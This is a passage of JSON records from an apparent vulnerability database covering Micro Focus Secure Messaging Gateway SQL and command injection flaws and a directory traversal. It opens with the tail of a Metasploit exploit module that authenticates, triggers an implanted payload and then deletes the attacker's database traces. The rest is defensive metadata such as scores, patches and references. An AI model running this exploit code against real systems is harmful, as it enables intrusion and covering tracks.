\u0027username\u0027 =\u003e @username,\n \u0027password\u0027 =\u003e rand_text_alpha_lower(5..25),\n \u0027passwordmandatory\u0027 =\u003e rand_text_alpha_lower(5..25),\n \u0027LimitInterfaceId\u0027 =\u003e 1\n }\n )\n if res \u0026\u0026 res.code == 200 \u0026\u0026 res.body.include?(\u0027/ui/default/index.php\u0027)\n print_good(\u0027Successfully authenticated\u0027)\n cookie = res.get_cookies\n else\n something_went_wrong\n end\n cookie\n end\n\n def exploit\n unless check == CheckCode::Vulnerable\n fail_with Failure::NotVulnerable, \u0027Target is not vulnerable\u0027\n end\n\n create_user\n cookie = login\n implant_payload(cookie)\n\n print_status(\u0027Triggering an implanted payload\u0027)\n send_request_cgi({\n \u0027method\u0027 =\u003e \u0027POST\u0027,\n \u0027uri\u0027 =\u003e normalize_uri(target_uri.path, \u0027admin\u0027, \u0027contents\u0027, \u0027ou\u0027, \u0027manage_domains_dkim_keygen_request.php\u0027),\n \u0027cookie\u0027 =\u003e cookie,\n \u0027vars_get\u0027 =\u003e {\n \u0027cache\u0027 =\u003e 0,\n },\n \u0027vars_post\u0027 =\u003e {\n \u0027DkimRecordId\u0027 =\u003e @dkimid\n }\n })\n\n end\n\n def on_new_session(session)\n print_status(\u0027Cleaning up...\u0027)\n cmd = \"\"\n cmd \u003c\u003c \u0027PGPASSWORD=postgres psql -U postgres -d SecureGateway -c \"\u0027\n cmd \u003c\u003c \"DELETE FROM account WHERE loginname =\u0027#{@username}\u0027;\"\n cmd \u003c\u003c \"DELETE FROM UserRole WHERE idaccount = #{@userid};\"\n cmd \u003c\u003c \"DELETE FROM Domain WHERE iddomain = #{@domainid};\"\n cmd \u003c\u003c \"DELETE FROM DkimSignature WHERE iddkimsignature = #{@dkimid};\"\n cmd \u003c\u003c \u0027\"\u0027\n session.shell_command_token(cmd)\n end\n\nend\n",
"sources": [
{
"db": "NVD",
"id": "CVE-2018-12464"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-006867"
},
{
"db": "BID",
"id": "106343"
},
{
"db": "VULHUB",
"id": "VHN-122426"
},
{
"db": "PACKETSTORM",
"id": "148758"
}
],
"trust": 2.07
},
"exploit_availability": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"reference": "https://www.scap.org.cn/vuln/vhn-122426",
"trust": 0.1,
"type": "unknown"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-122426"
}
]
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2018-12464",
"trust": 2.9
},
{
"db": "EXPLOIT-DB",
"id": "45083",
"trust": 2.0
},
{
"db": "JVNDB",
"id": "JVNDB-2018-006867",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201807-018",
"trust": 0.7
},
{
"db": "BID",
"id": "106343",
"trust": 0.3
},
{
"db": "PACKETSTORM",
"id": "148758",
"trust": 0.2
},
{
"db": "VULHUB",
"id": "VHN-122426",
"trust": 0.1
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-122426"
},
{
"db": "BID",
"id": "106343"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-006867"
},
{
"db": "PACKETSTORM",
"id": "148758"
},
{
"db": "NVD",
"id": "CVE-2018-12464"
},
{
"db": "CNNVD",
"id": "CNNVD-201807-018"
}
]
},
"id": "VAR-201806-1215",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "VULHUB",
"id": "VHN-122426"
}
],
"trust": 0.85
},
"last_update_date": "2023-12-18T13:24:05.129000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Critical SQL Injection Vulnerability in SMG (CVE-2018-12464)",
"trust": 0.8,
"url": "https://support.microfocus.com/kb/doc.php?id=7023132"
},
{
"title": "Micro Focus Secure Messaging Gateway Web administration and quarantine Component SQL Repair measures for injecting vulnerabilities",
"trust": 0.6,
"url": "http://www.cnnvd.org.cn/web/xxk/bdxqbyid.tag?id=81644"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-006867"
},
{
"db": "CNNVD",
"id": "CNNVD-201807-018"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-89",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-122426"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-006867"
},
{
"db": "NVD",
"id": "CVE-2018-12464"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.0,
"url": "https://pentest.blog/unexpected-journey-6-all-ways-lead-to-rome-remote-code-execution-on-microfocus-secure-messaging-gateway/"
},
{
"trust": 2.0,
"url": "https://support.microfocus.com/kb/doc.php?id=7023132"
},
{
"trust": 1.7,
"url": "https://www.exploit-db.com/exploits/45083/"
},
{
"trust": 0.9,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-12464"
},
{
"trust": 0.8,
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-12464"
},
{
"trust": 0.3,
"url": "https://www.exploit-db.com/exploits/45083"
},
{
"trust": 0.3,
"url": "https://www.microfocus.com/products/secure-messaging-gateway/"
},
{
"trust": 0.3,
"url": "https://www.microfocus.com"
},
{
"trust": 0.1,
"url": "https://pentest.blog/unexpected-journey-6-all-ways-lead-to-rome-remote-code-execution-on-microfocus-secure-messaging-gateway/\u0027],"
},
{
"trust": 0.1,
"url": "https://support.microfocus.com/kb/doc.php?id=7023132\u0027],"
},
{
"trust": 0.1,
"url": "https://github.com/rapid7/metasploit-framework"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-12465"
},
{
"trust": 0.1,
"url": "https://metasploit.com/download"
},
{
"trust": 0.1,
"url": "https://support.microfocus.com/kb/doc.php?id=7023133\u0027]"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-122426"
},
{
"db": "BID",
"id": "106343"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-006867"
},
{
"db": "PACKETSTORM",
"id": "148758"
},
{
"db": "NVD",
"id": "CVE-2018-12464"
},
{
"db": "CNNVD",
"id": "CNNVD-201807-018"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "VULHUB",
"id": "VHN-122426"
},
{
"db": "BID",
"id": "106343"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-006867"
},
{
"db": "PACKETSTORM",
"id": "148758"
},
{
"db": "NVD",
"id": "CVE-2018-12464"
},
{
"db": "CNNVD",
"id": "CNNVD-201807-018"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2018-06-29T00:00:00",
"db": "VULHUB",
"id": "VHN-122426"
},
{
"date": "2018-06-27T00:00:00",
"db": "BID",
"id": "106343"
},
{
"date": "2018-09-03T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2018-006867"
},
{
"date": "2018-07-31T14:49:49",
"db": "PACKETSTORM",
"id": "148758"
},
{
"date": "2018-06-29T16:29:00.277000",
"db": "NVD",
"id": "CVE-2018-12464"
},
{
"date": "2018-07-02T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201807-018"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-10-09T00:00:00",
"db": "VULHUB",
"id": "VHN-122426"
},
{
"date": "2018-06-27T00:00:00",
"db": "BID",
"id": "106343"
},
{
"date": "2018-09-03T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2018-006867"
},
{
"date": "2023-11-07T02:52:14.760000",
"db": "NVD",
"id": "CVE-2018-12464"
},
{
"date": "2019-10-17T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201807-018"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201807-018"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Micro Focus Secure Messaging Gateway In SQL Injection vulnerability",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-006867"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "sql injection",
"sources": [
{
"db": "PACKETSTORM",
"id": "148758"
},
{
"db": "CNNVD",
"id": "CNNVD-201807-018"
}
],
"trust": 0.7
}
}
VAR-202008-0084
Vulnerability from variot - Updated: 2023-12-18 12:55DKIM key management page vulnerability on Micro Focus Secure Messaging Gateway (SMG). Affecting all SMG Appliance running releases prior to July 2020. The vulnerability could allow a logged in user with rights to generate DKIM key information to inject system commands into the call to the DKIM system command. (DoS) It may be put into a state. The product supports functions such as email scanning and inbound and outbound protection
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-202008-0084",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "secure messaging gateway",
"scope": "lt",
"trust": 1.0,
"vendor": "microfocus",
"version": "2020-07-01"
},
{
"model": "secure messaging gateway",
"scope": null,
"trust": 0.8,
"vendor": "micro focus",
"version": null
},
{
"model": "focus secure messaging gateway",
"scope": "lt",
"trust": 0.6,
"vendor": "micro",
"version": "2020-7"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2020-50256"
},
{
"db": "JVNDB",
"id": "JVNDB-2020-009059"
},
{
"db": "NVD",
"id": "CVE-2020-11852"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:a:microfocus:secure_messaging_gateway:*:*:*:*:*:*:*:*",
"cpe_name": [],
"versionEndExcluding": "2020-07-01",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "NVD",
"id": "CVE-2020-11852"
}
]
},
"cve": "CVE-2020-11852",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"acInsufInfo": false,
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"author": "NVD",
"availabilityImpact": "COMPLETE",
"baseScore": 9.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 8.0,
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"severity": "HIGH",
"trust": 1.0,
"userInteractionRequired": false,
"vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C",
"version": "2.0"
},
{
"acInsufInfo": null,
"accessComplexity": "Low",
"accessVector": "Network",
"authentication": "Single",
"author": "NVD",
"availabilityImpact": "Complete",
"baseScore": 9.0,
"confidentialityImpact": "Complete",
"exploitabilityScore": null,
"id": "JVNDB-2020-009059",
"impactScore": null,
"integrityImpact": "Complete",
"obtainAllPrivilege": null,
"obtainOtherPrivilege": null,
"obtainUserPrivilege": null,
"severity": "High",
"trust": 0.8,
"userInteractionRequired": null,
"vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"author": "CNVD",
"availabilityImpact": "COMPLETE",
"baseScore": 9.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 8.0,
"id": "CNVD-2020-50256",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.6,
"vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"author": "VULHUB",
"availabilityImpact": "COMPLETE",
"baseScore": 9.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 8.0,
"id": "VHN-164472",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:S/C:C/I:C/A:C",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "NVD",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"trust": 1.0,
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
{
"attackComplexity": "Low",
"attackVector": "Network",
"author": "NVD",
"availabilityImpact": "High",
"baseScore": 8.8,
"baseSeverity": "High",
"confidentialityImpact": "High",
"exploitabilityScore": null,
"id": "JVNDB-2020-009059",
"impactScore": null,
"integrityImpact": "High",
"privilegesRequired": "Low",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "None",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "NVD",
"id": "CVE-2020-11852",
"trust": 1.0,
"value": "HIGH"
},
{
"author": "NVD",
"id": "JVNDB-2020-009059",
"trust": 0.8,
"value": "High"
},
{
"author": "CNVD",
"id": "CNVD-2020-50256",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "CNNVD",
"id": "CNNVD-202008-280",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "VULHUB",
"id": "VHN-164472",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2020-50256"
},
{
"db": "VULHUB",
"id": "VHN-164472"
},
{
"db": "JVNDB",
"id": "JVNDB-2020-009059"
},
{
"db": "NVD",
"id": "CVE-2020-11852"
},
{
"db": "CNNVD",
"id": "CNNVD-202008-280"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "DKIM key management page vulnerability on Micro Focus Secure Messaging Gateway (SMG). Affecting all SMG Appliance running releases prior to July 2020. The vulnerability could allow a logged in user with rights to generate DKIM key information to inject system commands into the call to the DKIM system command. (DoS) It may be put into a state. The product supports functions such as email scanning and inbound and outbound protection",
"sources": [
{
"db": "NVD",
"id": "CVE-2020-11852"
},
{
"db": "JVNDB",
"id": "JVNDB-2020-009059"
},
{
"db": "CNVD",
"id": "CNVD-2020-50256"
},
{
"db": "VULHUB",
"id": "VHN-164472"
}
],
"trust": 2.25
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2020-11852",
"trust": 3.1
},
{
"db": "JVNDB",
"id": "JVNDB-2020-009059",
"trust": 0.8
},
{
"db": "CNVD",
"id": "CNVD-2020-50256",
"trust": 0.7
},
{
"db": "CNNVD",
"id": "CNNVD-202008-280",
"trust": 0.7
},
{
"db": "VULHUB",
"id": "VHN-164472",
"trust": 0.1
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2020-50256"
},
{
"db": "VULHUB",
"id": "VHN-164472"
},
{
"db": "JVNDB",
"id": "JVNDB-2020-009059"
},
{
"db": "NVD",
"id": "CVE-2020-11852"
},
{
"db": "CNNVD",
"id": "CNNVD-202008-280"
}
]
},
"id": "VAR-202008-0084",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "CNVD",
"id": "CNVD-2020-50256"
},
{
"db": "VULHUB",
"id": "VHN-164472"
}
],
"trust": 1.45
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"Network device"
],
"sub_category": null,
"trust": 0.6
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2020-50256"
}
]
},
"last_update_date": "2023-12-18T12:55:55.445000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "7024775",
"trust": 0.8,
"url": "https://support.microfocus.com/kb/doc.php?id=7024775"
},
{
"title": "Patch for Micro Focus Secure Messaging Gateway injection vulnerability",
"trust": 0.6,
"url": "https://www.cnvd.org.cn/patchinfo/show/232888"
},
{
"title": "Micro Focus Secure Messaging Gateway Repair measures for injecting vulnerabilities",
"trust": 0.6,
"url": "http://www.cnnvd.org.cn/web/xxk/bdxqbyid.tag?id=125965"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2020-50256"
},
{
"db": "JVNDB",
"id": "JVNDB-2020-009059"
},
{
"db": "CNNVD",
"id": "CNNVD-202008-280"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-78",
"trust": 1.1
},
{
"problemtype": "CWE-74",
"trust": 0.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-164472"
},
{
"db": "JVNDB",
"id": "JVNDB-2020-009059"
},
{
"db": "NVD",
"id": "CVE-2020-11852"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.0,
"url": "https://nvd.nist.gov/vuln/detail/cve-2020-11852"
},
{
"trust": 1.7,
"url": "https://support.microfocus.com/kb/doc.php?id=7024775"
},
{
"trust": 0.8,
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2020-11852"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2020-50256"
},
{
"db": "VULHUB",
"id": "VHN-164472"
},
{
"db": "JVNDB",
"id": "JVNDB-2020-009059"
},
{
"db": "NVD",
"id": "CVE-2020-11852"
},
{
"db": "CNNVD",
"id": "CNNVD-202008-280"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "CNVD",
"id": "CNVD-2020-50256"
},
{
"db": "VULHUB",
"id": "VHN-164472"
},
{
"db": "JVNDB",
"id": "JVNDB-2020-009059"
},
{
"db": "NVD",
"id": "CVE-2020-11852"
},
{
"db": "CNNVD",
"id": "CNNVD-202008-280"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2020-09-03T00:00:00",
"db": "CNVD",
"id": "CNVD-2020-50256"
},
{
"date": "2020-08-07T00:00:00",
"db": "VULHUB",
"id": "VHN-164472"
},
{
"date": "2020-10-16T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2020-009059"
},
{
"date": "2020-08-07T16:15:11.700000",
"db": "NVD",
"id": "CVE-2020-11852"
},
{
"date": "2020-08-07T00:00:00",
"db": "CNNVD",
"id": "CNNVD-202008-280"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2020-09-03T00:00:00",
"db": "CNVD",
"id": "CNVD-2020-50256"
},
{
"date": "2021-07-21T00:00:00",
"db": "VULHUB",
"id": "VHN-164472"
},
{
"date": "2020-10-16T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2020-009059"
},
{
"date": "2023-11-07T03:15:12.037000",
"db": "NVD",
"id": "CVE-2020-11852"
},
{
"date": "2020-08-11T00:00:00",
"db": "CNNVD",
"id": "CNNVD-202008-280"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-202008-280"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Micro Focus Secure Messaging Gateway injection vulnerability",
"sources": [
{
"db": "CNVD",
"id": "CNVD-2020-50256"
},
{
"db": "CNNVD",
"id": "CNNVD-202008-280"
}
],
"trust": 1.2
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "injection",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-202008-280"
}
],
"trust": 0.6
}
}
VAR-201611-0266
Vulnerability from variot - Updated: 2023-12-18 12:05Administrative Server in Micro Focus Host Access Management and Security Server (MSS) and Reflection for the Web (RWeb) and Reflection Security Gateway (RSG) and Reflection ZFE (ZFE) allows remote unauthenticated attackers to read arbitrary files via a specially crafted URL that allows limited directory traversal. Applies to MSS 12.3 before 12.3.326 and MSS 12.2 before 12.2.342 and RSG 12.1 before 12.1.362 and RWeb 12.3 before 12.3.312 and RWeb 12.2 before 12.2.342 and RWeb 12.1 before 12.1.362 and ZFE 2.0.1 before 2.0.1.18 and ZFE 2.0.0 before 2.0.0.52 and ZFE 1.4.0 before 1.4.0.14. Authentication is not required to exploit this vulnerability.The specific flaw exists within the PassThru resource. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to disclose sensitive information under the context of the current process. Multiple Micro Focus Products are prone to an directory-traversal vulnerability. Remote attackers can use specially crafted requests with directory-traversal sequences ('../') to read arbitrary files in the context of the application. This may aid in further attacks. The following versions are affected: 12.3 prior to MSS 12.3.326, 12.2 prior to MSS 12.2.342; 12.1 prior to RSG 12.1.362; 12.3 prior to RWeb 12.3.312, 12.2 prior to RWeb 12.2.342, RWeb 12.1 before 12.1.362; ZFE 2.0.1.18 before 2.0.1, Reflection ZFE (ZFE) 2.0.0 before ZFE 2.0.0.52, ZFE 1.4.0 before 1.4.0.14
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201611-0266",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "reflection zfe",
"scope": "eq",
"trust": 2.4,
"vendor": "microfocus",
"version": "2.0.1.18"
},
{
"model": "reflection zfe",
"scope": "eq",
"trust": 2.4,
"vendor": "microfocus",
"version": "1.4.0.14"
},
{
"model": "reflection zfe",
"scope": "eq",
"trust": 2.4,
"vendor": "microfocus",
"version": "2.0.0.52"
},
{
"model": "reflection for the web",
"scope": "eq",
"trust": 1.6,
"vendor": "microfocus",
"version": "12.2"
},
{
"model": "reflection for the web",
"scope": "eq",
"trust": 1.6,
"vendor": "microfocus",
"version": "12.3"
},
{
"model": "host access management and security server",
"scope": "eq",
"trust": 1.6,
"vendor": "microfocus",
"version": "12.3"
},
{
"model": "reflection security gateway",
"scope": "eq",
"trust": 1.6,
"vendor": "microfocus",
"version": "12.1"
},
{
"model": "host access management and security server",
"scope": "eq",
"trust": 1.6,
"vendor": "microfocus",
"version": "12.2"
},
{
"model": "reflection for the web",
"scope": "eq",
"trust": 1.6,
"vendor": "microfocus",
"version": "12.1"
},
{
"model": "host access management and security server",
"scope": "lt",
"trust": 0.8,
"vendor": "microfocus",
"version": "12.2"
},
{
"model": "host access management and security server",
"scope": "eq",
"trust": 0.8,
"vendor": "microfocus",
"version": "12.2 build 342"
},
